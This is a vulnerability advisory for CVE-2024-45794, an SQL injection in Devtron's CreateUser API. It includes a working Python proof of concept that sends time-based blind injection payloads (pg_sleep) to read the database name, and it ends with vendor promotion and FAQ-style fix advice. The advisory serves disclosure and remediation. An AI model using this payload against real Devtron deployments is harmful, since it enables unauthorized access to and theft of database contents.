Summary
Devtron has SQL Injection in CreateUser API
An authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).
Details
The API is CreateUser (/orchestrator/user).
The function to read user input is:
https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104
The userInfo (line 104) parameter can be controlled by users.
The SQL injection can happen in the code:
https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038
The query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.
The user should be authenticated but only needs minimum permissions:
PoC
Demonstrate a blind SQL injection to retrieve the database name:
import requests
import time
import string
import argparse
def blind(ip, token, query):
url = f"http://{ip}/orchestrator/user"
headers = {"token": token}
entity = "chart-group"
payload = f"'; {query} --"
data = {"id": 111, "email_id": "[email protected]", "superAdmin": False, "roleFilters":[{"team":"", "environment":"", "action": "", "entity": entity, "accessType": payload}]} #"EntityName": "test", "AccessType": "test", "Cluster": "",\"NameSpace": "devtroncd", "Group": "", "Kind": "", "Resource": "", "Workflow": ""
start = time.time()
res = requests.post(url, headers=headers, json = data)
end = time.time()
#print(res.content)
if(end - start > 1):
return True
return False
def main(ip, token):
chs = string.printable
result = ""
is_end = False
i = 1
while(not is_end):
is_end = True
for ch in chs:
if(blind(ip, token, f"select case when substring(datname,{i},1)='{ch}' then pg_sleep(1) else pg_sleep(0) end from pg_database limit 1;")):
print(ch)
result += ch
is_end = False
break
i += 1
print(result)
if __name__ == "__main__":
argparser = argparse.ArgumentParser()
argparser.add_argument("--ip", "-i", type=str, help="Target IP")
argparser.add_argument("--token", "-t", type=str, help="API TOKEN")
args = argparser.parse_args()
main(args.ip, args.token)
The debugging breakpoint indicated that the malicious SQL query was executed:
We can see that we can get the database name:
Impact
SQL injection vulnerability. Our tests indicate that the latest version is affected.
The reporters are Yuan Luo, Shuai Xiong from Tencent YunDing Security Lab.
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
CVE-2024-45794 has a CVSS score of 8.3 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.7.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-45794? CVE-2024-45794 is a high-severity SQL injection vulnerability in github.com/devtron-labs/devtron (go), affecting versions < 0.7.2. It is fixed in 0.7.2. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- How severe is CVE-2024-45794? CVE-2024-45794 has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/devtron-labs/devtron are affected by CVE-2024-45794? github.com/devtron-labs/devtron (go) versions < 0.7.2 is affected.
- Is there a fix for CVE-2024-45794? Yes. CVE-2024-45794 is fixed in 0.7.2. Upgrade to this version or later.
- Is CVE-2024-45794 exploitable, and should I be worried? Whether CVE-2024-45794 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-45794 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-45794? Upgrade
github.com/devtron-labs/devtronto 0.7.2 or later.